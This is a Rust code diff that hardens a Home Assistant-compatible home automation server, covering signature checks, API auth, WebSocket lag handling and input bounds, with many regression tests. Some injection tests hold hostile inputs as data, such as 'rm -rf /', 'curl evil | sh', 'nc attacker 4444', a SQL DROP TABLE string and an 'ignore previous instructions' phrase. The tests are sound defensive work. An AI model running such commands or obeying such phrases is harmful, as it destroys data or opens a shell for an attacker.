pub fn verify_signature(
|
||||
event: &WitnessEvent,
|
||||
signature: &Signature,
|
||||
@@ -71,7 +81,7 @@ pub fn verify_signature(
|
||||
&event.payload,
|
||||
);
|
||||
public_key
|
||||
.verify(&bytes, signature)
|
||||
.verify_strict(&bytes, signature)
|
||||
.map_err(|_| SignatureVerifyError::Invalid)
|
||||
}
|
||||
|
||||
@@ -140,6 +150,58 @@ mod tests {
|
||||
verify_signature(&event, &sig, &public).expect("clean signature verifies");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn signature_commits_to_domain_tag_not_bare_fields() {
|
||||
// The signature is over the domain-tagged canonical bytes. A
|
||||
// signature produced over the *un-tagged* concatenation of the
|
||||
// same fields must NOT verify — proving cross-protocol
|
||||
// separation reaches the signature layer, not just the hash.
|
||||
// Fails on the old encoding where the signed message began
|
||||
// directly with `prev_hash` (no tag).
|
||||
use ed25519_dalek::Signer;
|
||||
let key = fixed_key();
|
||||
let public = key.verifying_key();
|
||||
let event = fresh_event();
|
||||
|
||||
// Hand-build the OLD (un-tagged) preimage and sign it.
|
||||
let mut untagged = Vec::new();
|
||||
untagged.extend_from_slice(&event.prev_hash.0);
|
||||
untagged.extend_from_slice(&event.seq.to_be_bytes());
|
||||
untagged.extend_from_slice(&event.timestamp_unix_s.to_be_bytes());
|
||||
untagged.extend_from_slice(&(event.kind.len() as u32).to_be_bytes());
|
||||
untagged.extend_from_slice(event.kind.as_bytes());
|
||||
untagged.extend_from_slice(&(event.payload.len() as u32).to_be_bytes());
|
||||
untagged.extend_from_slice(&event.payload);
|
||||
let old_sig = key.sign(&untagged);
|
||||
|
||||
// The current verifier (which uses the domain-tagged message)
|
||||
// must reject a signature made over the un-tagged bytes.
|
||||
let err = verify_signature(&event, &old_sig, &public).unwrap_err();
|
||||
assert_eq!(err, SignatureVerifyError::Invalid);
|
||||
|
||||
// Sanity: the proper signature still verifies.
|
||||
let good = sign_event(&event, &key);
|
||||
verify_signature(&event, &good, &public).expect("tagged signature verifies");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn verify_uses_strict_path_and_pins_caller_key() {
|
||||
// Regression guard: verification must run through the strict
|
||||
// path against a CALLER-supplied key. A wrong key fails; the
|
||||
// event never carries its own verifying key, so a forged event
|
||||
// cannot self-attest. (verify_strict additionally rejects
|
||||
// non-canonical / small-order encodings.)
|
||||
let key = fixed_key();
|
||||
let wrong = SigningKey::from_bytes(b"another-wrong-key-another-wrong-");
|
||||
let event = fresh_event();
|
||||
let sig = sign_event(&event, &key);
|
||||
verify_signature(&event, &sig, &key.verifying_key()).expect("right key verifies");
|
||||
assert_eq!(
|
||||
verify_signature(&event, &sig, &wrong.verifying_key()).unwrap_err(),
|
||||
SignatureVerifyError::Invalid
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn verify_rejects_signature_under_wrong_key() {
|
||||
let key = fixed_key();
|
||||
|
||||
@@ -42,7 +42,11 @@ pub fn router(state: SharedState) -> Router {
|
||||
.with_state(state)
|
||||
}
|
||||
|
||||
fn build_cors_layer() -> CorsLayer {
|
||||
/// Build the audited CORS allowlist layer (HC-05). Exposed so the
|
||||
/// integration binary can apply the SAME allowlist to routes merged in
|
||||
/// outside `router()` (e.g. the ADR-131 BFF gateway), instead of leaving
|
||||
/// `/api/homecore/*` and `/api/cal/*` with no CORS coverage at all.
|
||||
pub fn build_cors_layer() -> CorsLayer {
|
||||
let raw = std::env::var("HOMECORE_CORS_ORIGINS").ok();
|
||||
let origins: Vec<HeaderValue> = match raw {
|
||||
Some(v) if !v.trim().is_empty() => v
|
||||
|
||||
@@ -7,7 +7,7 @@ pub mod state;
|
||||
pub mod tokens;
|
||||
pub mod ws;
|
||||
|
||||
pub use app::{router, AppState};
|
||||
pub use app::{build_cors_layer, router, AppState};
|
||||
pub use error::{ApiError, ApiResult};
|
||||
pub use state::SharedState;
|
||||
pub use tokens::LongLivedTokenStore;
|
||||
|
||||
@@ -12,8 +12,20 @@ use crate::state::SharedState;
|
||||
#[derive(Serialize)]
|
||||
pub struct ApiRunning { message: &'static str }
|
||||
|
||||
pub async fn api_root() -> Json<ApiRunning> {
|
||||
Json(ApiRunning { message: "API running." })
|
||||
/// `GET /api/` — the HA `APIStatusView` ("API running." ping).
|
||||
///
|
||||
/// Security (HC-API-AUTH-01): HA's `APIStatusView` inherits
|
||||
/// `requires_auth = True` from `HomeAssistantView`, so an unauthenticated
|
||||
/// (or wrong-token) request to `/api/` returns **401**, not 200. HA
|
||||
/// clients (and the companion app) rely on this status route as a
|
||||
/// *token-validation probe* — a 200 here would tell a client a bad token
|
||||
/// is good, and would let an unauthenticated party confirm a live
|
||||
/// HOMECORE-API endpoint. The P2 handler skipped the bearer gate that
|
||||
/// every sibling route applies; this restores wire-compat by validating
|
||||
/// the bearer like `get_config`/`get_states` before replying.
|
||||
pub async fn api_root(headers: HeaderMap, State(s): State<SharedState>) -> ApiResult<Json<ApiRunning>> {
|
||||
let _ = BearerAuth::from_headers(&headers, s.tokens()).await?;
|
||||
Ok(Json(ApiRunning { message: "API running." }))
|
||||
}
|
||||
|
||||
#[derive(Serialize)]
|
||||
|
||||
@@ -298,7 +298,17 @@ impl Connection {
|
||||
}
|
||||
}
|
||||
Ok(_) => {}
|
||||
Err(_) => break,
|
||||
// A slow consumer that falls >4,096 events behind
|
||||
// gets `Lagged(n)`, which is RECOVERABLE: the bus
|
||||
// doc (`bus.rs` §"Lagged receivers must re-sync")
|
||||
// and HA's WS contract both keep the subscription
|
||||
// alive across a lag. The pre-fix `Err(_) => break`
|
||||
// treated `Lagged` as fatal, silently killing the
|
||||
// client's event stream on a burst (HC-WS-LAG-01).
|
||||
// Skip the dropped window and continue; only a
|
||||
// `Closed` sender ends the task.
|
||||
Err(broadcast::error::RecvError::Lagged(_)) => continue,
|
||||
Err(broadcast::error::RecvError::Closed) => break,
|
||||
},
|
||||
evt = domain_rx.recv() => match evt {
|
||||
Ok(de) => {
|
||||
@@ -316,7 +326,12 @@ impl Connection {
|
||||
if tx_clone.send(payload.to_string()).is_err() { break; }
|
||||
}
|
||||
}
|
||||
Err(_) => break,
|
||||
// Same recoverable-lag handling as the system arm
|
||||
// above (HC-WS-LAG-01): a lagged domain-event
|
||||
// receiver re-syncs and continues; only `Closed`
|
||||
// terminates the subscription.
|
||||
Err(broadcast::error::RecvError::Lagged(_)) => continue,
|
||||
Err(broadcast::error::RecvError::Closed) => break,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -75,3 +75,72 @@ async fn from_env_path_enforces_whitelist() {
|
||||
assert!(!store.is_valid("not_in_whitelist").await);
|
||||
assert!(!store.is_dev_mode().await, "from_env must NOT be dev mode");
|
||||
}
|
||||
|
||||
// ─── HC-API-AUTH-01: `GET /api/` must be auth-gated like every sibling ───
|
||||
//
|
||||
// HA's `APIStatusView` inherits `requires_auth = True`, so `/api/` returns
|
||||
// 401 for a missing/wrong bearer and 200 only for a valid one. The pre-fix
|
||||
// `api_root` took no headers and unconditionally returned 200 — these two
|
||||
// tests FAIL on that code.
|
||||
|
||||
#[tokio::test]
|
||||
async fn api_root_rejects_missing_bearer() {
|
||||
let app = router(provisioned_state("the_real_token").await);
|
||||
let resp = app
|
||||
.oneshot(
|
||||
Request::builder()
|
||||
.uri("/api/")
|
||||
.body(Body::empty())
|
||||
.unwrap(),
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(
|
||||
resp.status(),
|
||||
StatusCode::UNAUTHORIZED,
|
||||
"GET /api/ with NO bearer must be 401 (HC-API-AUTH-01) — HA's \
|
||||
APIStatusView requires_auth=True; a 200 here lets an \
|
||||
unauthenticated party confirm a live endpoint and tells a \
|
||||
token-validation probe a bad token is good"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn api_root_rejects_wrong_bearer() {
|
||||
let app = router(provisioned_state("the_real_token").await);
|
||||
let resp = app
|
||||
.oneshot(
|
||||
Request::builder()
|
||||
.uri("/api/")
|
||||
.header("Authorization", "Bearer the_wrong_token")
|
||||
.body(Body::empty())
|
||||
.unwrap(),
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(
|
||||
resp.status(),
|
||||
StatusCode::UNAUTHORIZED,
|
||||
"GET /api/ with a WRONG bearer must be 401 (HC-API-AUTH-01)"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn api_root_accepts_correct_bearer() {
|
||||
let app = router(provisioned_state("the_real_token").await);
|
||||
let resp = app
|
||||
.oneshot(
|
||||
Request::builder()
|
||||
.uri("/api/")
|
||||
.header("Authorization", "Bearer the_real_token")
|
||||
.body(Body::empty())
|
||||
.unwrap(),
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(
|
||||
resp.status(),
|
||||
StatusCode::OK,
|
||||
"GET /api/ with the correct bearer must still return 200 (API running.)"
|
||||
);
|
||||
}
|
||||
|
||||
@@ -166,3 +166,100 @@ async fn ping_pong_reply_is_received() {
|
||||
assert_eq!(reply["type"], "pong");
|
||||
assert_eq!(reply["id"], 7);
|
||||
}
|
||||
|
||||
/// Variant of [`spawn_server_with_token`] that also returns a `HomeCore`
|
||||
/// handle (cheap `Arc` clone) so the test can fire events into the *same*
|
||||
/// bus the served subscription reads from.
|
||||
async fn spawn_server_returning_homecore(valid_token: &str) -> (SocketAddr, HomeCore) {
|
||||
let hc = HomeCore::new();
|
||||
let tokens = LongLivedTokenStore::empty();
|
||||
tokens.register(valid_token).await;
|
||||
let state = SharedState::with_tokens(hc.clone(), "Test", "test-version", tokens);
|
||||
let app = router(state);
|
||||
|
||||
let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
|
||||
let addr = listener.local_addr().unwrap();
|
||||
tokio::spawn(async move {
|
||||
axum::serve(listener, app).await.unwrap();
|
||||
});
|
||||
(addr, hc)
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn subscription_survives_broadcast_lag() {
|
||||
// HC-WS-LAG-01: the per-subscription event task must treat a broadcast
|
||||
// `Lagged(n)` as RECOVERABLE (re-sync + continue), matching the bus
|
||||
// contract ("Lagged receivers must re-sync") and HA's WS semantics.
|
||||
//
|
||||
// The pre-fix `Err(_) => break` killed the whole event-stream task on
|
||||
// the first lag, so after a >4,096-event burst the client's stream
|
||||
// went permanently silent. This test fires far more than the 4,096
|
||||
// channel capacity to force a `Lagged`, then fires ONE more event and
|
||||
// asserts the subscription still delivers it. FAILS (5s timeout) on
|
||||
// the old code because the task is already dead.
|
||||
use homecore::{Context, DomainEvent};
|
||||
|
||||
let (addr, hc) = spawn_server_returning_homecore("good_token_abc").await;
|
||||
let url = format!("ws://{addr}/api/websocket");
|
||||
let (mut ws, _resp) = connect_async(&url).await.unwrap();
|
||||
|
||||
let _ = next_json(&mut ws).await; // auth_required
|
||||
ws.send(Message::Text(
|
||||
serde_json::json!({"type":"auth","access_token":"good_token_abc"}).to_string(),
|
||||
))
|
||||
.await
|
||||
.unwrap();
|
||||
let auth = next_json(&mut ws).await;
|
||||
assert_eq!(auth["type"], "auth_ok");
|
||||
|
||||
// Subscribe to a specific domain event type so unrelated traffic is
|
||||
// filtered out and we can deterministically match the post-lag event.
|
||||
ws.send(Message::Text(
|
||||
serde_json::json!({"id": 1, "type": "subscribe_events", "event_type": "lag_probe"})
|
||||
.to_string(),
|
||||
))
|
||||
.await
|
||||
.unwrap();
|
||||
let ack = next_json(&mut ws).await; // result ok for the subscribe
|
||||
assert_eq!(ack["type"], "result");
|
||||
assert_eq!(ack["success"], true);
|
||||
|
||||
// Flood the bus far past EVENT_CHANNEL_CAPACITY (4,096) with events the
|
||||
// subscription FILTERS OUT (different event_type). Because the client
|
||||
// never reads them off the WS, the server-side broadcast receiver falls
|
||||
// behind and the NEXT `recv()` yields `Lagged`. We fire synchronously
|
||||
// and don't yield to the WS reader, guaranteeing the overflow.
|
||||
for i in 0..6000u32 {
|
||||
hc.bus().fire_domain(DomainEvent::new(
|
||||
"noise",
|
||||
serde_json::json!({ "i": i }),
|
||||
Context::new(),
|
||||
));
|
||||
}
|
||||
|
||||
// Now fire the event the client IS subscribed to. On the fixed code the
|
||||
// task recovered from `Lagged` and continues, so this is delivered. On
|
||||
// the old code the task broke on `Lagged` and this never arrives.
|
||||
hc.bus().fire_domain(DomainEvent::new(
|
||||
"lag_probe",
|
||||
serde_json::json!({ "marker": "post-lag" }),
|
||||
Context::new(),
|
||||
));
|
||||
|
||||
// Drain frames until we see our post-lag event (ignoring any noise the
|
||||
// filter let slip before the lag), bounded by a timeout.
|
||||
let got = tokio::time::timeout(std::time::Duration::from_secs(5), async {
|
||||
loop {
|
||||
let v = next_json(&mut ws).await;
|
||||
if v["type"] == "event" && v["event"]["event_type"] == "lag_probe" {
|
||||
return v;
|
||||
}
|
||||
}
|
||||
})
|
||||
.await
|
||||
.expect(
|
||||
"subscription went silent after a broadcast lag — Lagged was treated \
|
||||
as fatal (HC-WS-LAG-01)",
|
||||
);
|
||||
assert_eq!(got["event"]["data"]["marker"], "post-lag");
|
||||
}
|
||||
|
||||
@@ -149,6 +149,44 @@ mod tests {
|
||||
assert!(sim_unrel < 0.3, "unrelated similarity too high: {sim_unrel:.3}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn embeddings_are_structurally_finite() {
|
||||
// SECURITY (NaN-poisoning): the embedding path takes only `&str` and
|
||||
// produces values via FNV feature-hashing + a guarded L2 normalise.
|
||||
// There is NO external float input and NO unguarded division, so a
|
||||
// crafted utterance cannot inject NaN/±Inf into a vector and poison the
|
||||
// cosine k-NN match. Prove every component is finite across adversarial
|
||||
// inputs (empty, punctuation-only, unicode, very long, control chars).
|
||||
for s in [
|
||||
"",
|
||||
"!!! ???",
|
||||
"turn on the kitchen light",
|
||||
"🔥🔥🔥 \u{0}\u{1}\u{7f} mix",
|
||||
&"x".repeat(10_000),
|
||||
"NaN inf -inf 1e999",
|
||||
] {
|
||||
let v = embed(s);
|
||||
assert_eq!(v.len(), EMBEDDING_DIM);
|
||||
assert!(
|
||||
v.iter().all(|x| x.is_finite()),
|
||||
"embedding of {s:?} contained a non-finite component"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cosine_with_zero_vector_is_finite_not_nan() {
|
||||
// SECURITY (NaN-poisoning): an empty/punctuation-only utterance embeds
|
||||
// to the zero vector. Cosine against any exemplar must be a finite 0.0,
|
||||
// never NaN — so a below-threshold comparison stays well-defined and the
|
||||
// recognizer falls through (no action) rather than matching on garbage.
|
||||
let zero = embed("!!! ???");
|
||||
let real = embed("turn on the light");
|
||||
let sim = cosine_similarity(&zero, &real);
|
||||
assert!(sim.is_finite(), "cosine vs zero vector must be finite, got {sim}");
|
||||
assert_eq!(sim, 0.0, "dot product with the zero vector is exactly 0");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn identical_text_is_similarity_one() {
|
||||
let a = embed("lock the front door");
|
||||
|
||||
@@ -47,7 +47,9 @@ pub mod pipeline;
|
||||
pub mod embedding;
|
||||
|
||||
pub use intent::{Card, Intent, IntentName, IntentResponse};
|
||||
pub use recognizer::{IntentRecognizer, RecognizerError, RegexIntentRecognizer};
|
||||
pub use recognizer::{
|
||||
IntentRecognizer, RecognizerError, RegexIntentRecognizer, MAX_UTTERANCE_BYTES,
|
||||
};
|
||||
pub use semantic_recognizer::{SemanticIntentRecognizer, DEFAULT_SIMILARITY_THRESHOLD};
|
||||
pub use handler::{
|
||||
HandlerError, HassCancelAll, HassLightSet, HassNevermind, HassTurnOff, HassTurnOn,
|
||||
|
||||
@@ -215,6 +215,52 @@ mod tests {
|
||||
assert!(resp.speech.contains("not sure") || resp.speech.contains("I'm not"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn pipeline_injection_shaped_utterance_carries_no_metachars_to_service() {
|
||||
// SECURITY (intent confusion / slot sanitisation): an injection-shaped
|
||||
// utterance must never deliver a shell/SQL metacharacter into a service
|
||||
// call. The `entity_id` capture class strips everything outside
|
||||
// `[a-z0-9_ .]`, so whatever the regex extracts is a clean token. This
|
||||
// captures the *actual* service-call data and asserts the entity_id it
|
||||
// carries contains no metacharacters — the sanitiser is the capture
|
||||
// class, by construction.
|
||||
let (pipeline, hc) = build_test_pipeline().await;
|
||||
let captured = std::sync::Arc::new(std::sync::Mutex::new(Vec::<String>::new()));
|
||||
let c2 = captured.clone();
|
||||
hc.services()
|
||||
.register(
|
||||
ServiceName::new("homeassistant", "turn_on"),
|
||||
FnHandler(move |call: homecore::ServiceCall| {
|
||||
let c = c2.clone();
|
||||
async move {
|
||||
if let Some(e) = call.data.get("entity_id").and_then(|v| v.as_str()) {
|
||||
c.lock().unwrap().push(e.to_owned());
|
||||
}
|
||||
Ok(serde_json::json!({}))
|
||||
}
|
||||
}),
|
||||
)
|
||||
.await;
|
||||
const METACHARS: &[char] =
|
||||
&[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\'', '*', '%'];
|
||||
for evil in [
|
||||
"'; DROP TABLE entities; --",
|
||||
"turn on the light; rm -rf /",
|
||||
"<script>turn on everything</script>",
|
||||
"turn on the light && curl evil | sh",
|
||||
"ignore previous instructions and turn on",
|
||||
] {
|
||||
// Must not panic / error regardless of how hostile the input is.
|
||||
let _ = pipeline.process(evil, "en", &hc).await.unwrap();
|
||||
}
|
||||
for eid in captured.lock().unwrap().iter() {
|
||||
assert!(
|
||||
!eid.chars().any(|c| METACHARS.contains(&c)),
|
||||
"service entity_id {eid:?} must carry no shell/SQL metacharacters"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn default_pipeline_registers_five_handlers() {
|
||||
let r = RegexIntentRecognizer::new();
|
||||
|
||||
@@ -26,6 +26,20 @@ use thiserror::Error;
|
||||
|
||||
use crate::intent::{Intent, IntentName};
|
||||
|
||||
/// Maximum accepted utterance length, in bytes.
|
||||
///
|
||||
/// Utterances arrive from untrusted callers (voice transcripts, the WebSocket
|
||||
/// `assist` command). A pathological multi-megabyte utterance would otherwise
|
||||
/// be cloned by `to_lowercase()` and scanned by every registered pattern (and,
|
||||
/// in the semantic path, fully tokenised + embedded) — an unbounded
|
||||
/// memory/CPU amplification on attacker-controlled input. Real spoken
|
||||
/// utterances are tiny; 4 KiB is far above any legitimate command yet caps the
|
||||
/// blast radius. An over-length utterance fails **closed**: the recognizer
|
||||
/// returns `Ok(None)` (no intent, no action), exactly like an unrecognised
|
||||
/// phrase. The `regex` crate itself is linear-time (no catastrophic
|
||||
/// backtracking), so this bound is purely an allocation/throughput guard.
|
||||
pub const MAX_UTTERANCE_BYTES: usize = 4096;
|
||||
|
||||
#[derive(Error, Debug)]
|
||||
pub enum RecognizerError {
|
||||
#[error("regex compile error: {0}")]
|
||||
@@ -102,6 +116,12 @@ impl IntentRecognizer for RegexIntentRecognizer {
|
||||
utterance: &str,
|
||||
language: &str,
|
||||
) -> Result<Option<Intent>, RecognizerError> {
|
||||
// Fail-closed on an over-length utterance before any allocation/scan.
|
||||
// Untrusted input must not be able to force an unbounded `to_lowercase`
|
||||
// clone + per-pattern scan. Bound first, then normalise.
|
||||
if utterance.len() > MAX_UTTERANCE_BYTES {
|
||||
return Ok(None);
|
||||
}
|
||||
let normalised = utterance.trim().to_lowercase();
|
||||
let patterns = self.patterns.read().await;
|
||||
for pattern in patterns.iter() {
|
||||
@@ -183,6 +203,55 @@ mod tests {
|
||||
assert!(result.is_none());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn over_length_utterance_fails_closed() {
|
||||
// SECURITY (DoS / fail-closed): an utterance larger than the bound must
|
||||
// return Ok(None) WITHOUT being normalised or scanned. Crucially, even
|
||||
// an over-length utterance that *contains* a matching command must NOT
|
||||
// resolve — fail closed, never open.
|
||||
//
|
||||
// This FAILS against the pre-fix recognizer: there, a giant prefix
|
||||
// followed by "turn on the kitchen light" would still match HassTurnOn
|
||||
// (and force a multi-megabyte `to_lowercase` clone + scan first).
|
||||
let r = turn_on_recognizer().await;
|
||||
let huge = format!("{} turn on the kitchen light", "a ".repeat(MAX_UTTERANCE_BYTES));
|
||||
assert!(huge.len() > MAX_UTTERANCE_BYTES);
|
||||
|
||||
let result = r.recognize(&huge, "en").await.unwrap();
|
||||
assert!(
|
||||
result.is_none(),
|
||||
"over-length utterance must fail closed (no intent, no action)"
|
||||
);
|
||||
|
||||
// And a just-under-bound utterance still works, so the cap doesn't
|
||||
// break legitimate (tiny) commands.
|
||||
let ok = r
|
||||
.recognize("turn on the kitchen light", "en")
|
||||
.await
|
||||
.unwrap();
|
||||
assert!(ok.is_some(), "normal-length command must still resolve");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn pathological_backtracking_pattern_completes_in_bounded_time() {
|
||||
// SECURITY (ReDoS): the `regex` crate is a linear-time finite automaton,
|
||||
// so even a classic catastrophic-backtracking shape `(a+)+$` cannot hang
|
||||
// on a crafted adversarial input. This proves the recognizer terminates
|
||||
// promptly on the worst-case input the regex engine is asked to run.
|
||||
let r = RegexIntentRecognizer::new();
|
||||
r.register("Evil", r"(a+)+$", "*").await.unwrap();
|
||||
// Just under the length bound: all 'a' then a 'b' — the classic input
|
||||
// that destroys a backtracking engine. Linear-time regex shrugs.
|
||||
let evil = format!("{}b", "a".repeat(MAX_UTTERANCE_BYTES - 1));
|
||||
let start = std::time::Instant::now();
|
||||
let _ = r.recognize(&evil, "en").await.unwrap();
|
||||
let elapsed = start.elapsed();
|
||||
assert!(
|
||||
elapsed < std::time::Duration::from_secs(2),
|
||||
"linear-time regex must not hang on adversarial input; took {elapsed:?}"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn language_filter_skips_non_matching() {
|
||||
let r = RegexIntentRecognizer::new();
|
||||
|
||||
@@ -393,6 +393,63 @@ mod tests {
|
||||
assert!(matches!(err, AssistError::ParseError(_)));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn shell_metachars_never_survive_into_a_resolved_slot() {
|
||||
// SECURITY (command/argument injection): two layers of defense.
|
||||
// 1. There is NO subprocess — `spawn` is a lifecycle flag and
|
||||
// `RufloRunnerOpts` is inert, so no argv is ever built.
|
||||
// 2. Even so, the `entity_id` capture class is `[a-z_][a-z0-9_ .]*`,
|
||||
// which *excludes* every shell metacharacter. So when an
|
||||
// injection-shaped utterance DOES resolve (the regex is not exact-
|
||||
// anchored), the captured slot is a clean token with the hostile
|
||||
// tail stripped — never `;`, `|`, `$`, backtick, `&`, `/`, etc.
|
||||
// This pins the slot-sanitisation-by-construction property: a slot value
|
||||
// can never carry a metachar into a (future) argv.
|
||||
let mut runner = LocalRunner::new(turn_on_recognizer().await);
|
||||
runner.spawn(RufloRunnerOpts::default()).await.unwrap();
|
||||
const METACHARS: &[char] = &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\''];
|
||||
for evil in [
|
||||
"turn on the light; rm -rf /",
|
||||
"turn on the light && shutdown -h now",
|
||||
"turn on the light | nc attacker 4444",
|
||||
"turn on the light `curl evil.sh | sh`",
|
||||
"turn on the light $(reboot)",
|
||||
] {
|
||||
let resp = runner
|
||||
.send_request(serde_json::json!({"utterance": evil, "language": "en"}))
|
||||
.await
|
||||
.unwrap();
|
||||
if let Some(intent) = resp.intent {
|
||||
if let Some(eid) = intent.entity_id() {
|
||||
assert!(
|
||||
!eid.chars().any(|c| METACHARS.contains(&c)),
|
||||
"resolved entity_id {eid:?} from {evil:?} must contain no shell metachars"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn runner_opts_are_inert_no_process_spawned() {
|
||||
// SECURITY (command injection): even a hostile `script_path` / `env` in
|
||||
// RufloRunnerOpts is never consumed — `spawn` launches no process. This
|
||||
// documents-and-pins that the data-gated P2 subprocess is genuinely
|
||||
// absent (confirmed Noop/Local, no spawn surface today).
|
||||
let mut env = std::collections::HashMap::new();
|
||||
env.insert("EVIL".to_owned(), "$(rm -rf /)".to_owned());
|
||||
let opts = RufloRunnerOpts {
|
||||
script_path: "/bin/sh -c 'curl evil | sh'".to_owned(),
|
||||
env,
|
||||
timeout_ms: 1,
|
||||
};
|
||||
let mut runner = NoopRunner::new();
|
||||
// No panic, no spawn, no error — the opts are pure data.
|
||||
assert!(runner.spawn(opts.clone()).await.is_ok());
|
||||
let mut local = LocalRunner::new(turn_on_recognizer().await);
|
||||
assert!(local.spawn(opts).await.is_ok());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn local_runner_send_before_spawn_is_not_started() {
|
||||
let runner = LocalRunner::new(turn_on_recognizer().await);
|
||||
|
||||
@@ -135,6 +135,12 @@ impl SemanticIntentRecognizer {
|
||||
utterance: &str,
|
||||
language: &str,
|
||||
) -> Result<(Option<Intent>, Option<f32>), RecognizerError> {
|
||||
// Fail-closed on an over-length utterance before embedding/scanning.
|
||||
// Untrusted input must not force an unbounded `to_lowercase` clone +
|
||||
// full tokenisation/embedding. Mirrors the regex recognizer's bound.
|
||||
if utterance.len() > crate::recognizer::MAX_UTTERANCE_BYTES {
|
||||
return Ok((None, None));
|
||||
}
|
||||
if let Some((id, similarity)) = self.nearest(utterance, language).await {
|
||||
if similarity >= self.threshold {
|
||||
let inner = self.index.read().await;
|
||||
@@ -228,6 +234,32 @@ mod tests {
|
||||
r
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn empty_utterance_against_empty_index_no_panic_no_match() {
|
||||
// SECURITY (NaN/empty-poisoning): an empty (zero-vector) query against an
|
||||
// empty index must not panic and must yield no intent — the recognizer
|
||||
// falls through to the (also empty) regex fallback. Proves the empty-
|
||||
// iterator `max_by` path returns None cleanly.
|
||||
let semantic = SemanticIntentRecognizer::new(RegexIntentRecognizer::new());
|
||||
let result = semantic.recognize("", "en").await.unwrap();
|
||||
assert!(result.is_none(), "empty utterance must produce no intent / no action");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn over_length_utterance_fails_closed_semantic() {
|
||||
// SECURITY (DoS / fail-closed): an over-length utterance must short-
|
||||
// circuit before embedding/scanning, returning no intent — even if it
|
||||
// textually contains an enrolled/fallback-matchable command.
|
||||
let semantic = SemanticIntentRecognizer::new(turn_on_recognizer().await);
|
||||
let huge = format!(
|
||||
"{} turn on the kitchen light",
|
||||
"a ".repeat(crate::recognizer::MAX_UTTERANCE_BYTES)
|
||||
);
|
||||
assert!(huge.len() > crate::recognizer::MAX_UTTERANCE_BYTES);
|
||||
let result = semantic.recognize(&huge, "en").await.unwrap();
|
||||
assert!(result.is_none(), "over-length utterance must fail closed in semantic path");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn semantic_recognizer_delegates_to_fallback() {
|
||||
// No exemplars enrolled → empty HNSW index → pure regex fallback.
|
||||
|
||||
@@ -29,8 +29,10 @@ serde = { version = "1", features = ["derive"] }
|
||||
serde_yaml = "0.9"
|
||||
serde_json = "1"
|
||||
|
||||
# MiniJinja — HA-compatible Jinja2 template engine in pure Rust (ADR-129 §2.1)
|
||||
minijinja = { version = "2", features = ["json", "loader"] }
|
||||
# MiniJinja — HA-compatible Jinja2 template engine in pure Rust (ADR-129 §2.1).
|
||||
# `fuel` bounds instruction count so a malicious `template:` condition cannot
|
||||
# spin the engine with a nested-loop / huge-repeat DoS (HC-SEC-01).
|
||||
minijinja = { version = "2", features = ["json", "loader", "fuel"] }
|
||||
|
||||
# Error handling
|
||||
thiserror = "1"
|
||||
|
||||
@@ -70,6 +70,32 @@ impl ExecutionContext {
|
||||
}
|
||||
}
|
||||
|
||||
/// Upper bound for a `delay` / `wait_for_trigger` timeout, in seconds
|
||||
/// (~100 years). Caps absurd values so `Duration::from_secs_f64` cannot
|
||||
/// overflow-panic on e.g. `seconds: 1e308`, while still allowing any
|
||||
/// realistic automation delay (HC-SEC-02).
|
||||
const MAX_DELAY_SECS: f64 = 3.15e9;
|
||||
|
||||
/// Convert a user-supplied seconds value into a `Duration` without
|
||||
/// panicking (HC-SEC-02).
|
||||
///
|
||||
/// `Duration::from_secs_f64` **panics** on negative, NaN, infinite, or
|
||||
/// overflowing inputs. Those values are all reachable from a crafted
|
||||
/// automation YAML (`delay: {seconds: -1}`, `.nan`, `.inf`, `1e308`), so a
|
||||
/// single hostile config would crash the running automation task. We
|
||||
/// instead saturate to a safe range — matching Home Assistant's lenient
|
||||
/// treatment of a non-positive delay as "no delay":
|
||||
///
|
||||
/// - non-finite (NaN / ±inf) → `0`
|
||||
/// - negative → `0`
|
||||
/// - above [`MAX_DELAY_SECS`] → clamped to the cap
|
||||
fn safe_duration_from_secs(seconds: f64) -> Duration {
|
||||
if !seconds.is_finite() || seconds <= 0.0 {
|
||||
return Duration::ZERO;
|
||||
}
|
||||
Duration::from_secs_f64(seconds.min(MAX_DELAY_SECS))
|
||||
}
|
||||
|
||||
/// Action configuration. Deserialized from YAML `action:` blocks.
|
||||
#[derive(Clone, Debug, Serialize, Deserialize)]
|
||||
#[serde(tag = "action", rename_all = "snake_case")]
|
||||
@@ -154,7 +180,10 @@ impl Action {
|
||||
Ok(result)
|
||||
}
|
||||
Action::Delay { seconds } => {
|
||||
let dur = Duration::from_secs_f64(*seconds);
|
||||
// `safe_duration_from_secs` guards against negative /
|
||||
// NaN / infinite / overflowing values that would
|
||||
// otherwise panic `Duration::from_secs_f64` (HC-SEC-02).
|
||||
let dur = safe_duration_from_secs(*seconds);
|
||||
sleep(dur).await;
|
||||
Ok(serde_json::Value::Null)
|
||||
}
|
||||
@@ -172,7 +201,8 @@ impl Action {
|
||||
// P1 stub — just sleeps for the timeout duration if specified.
|
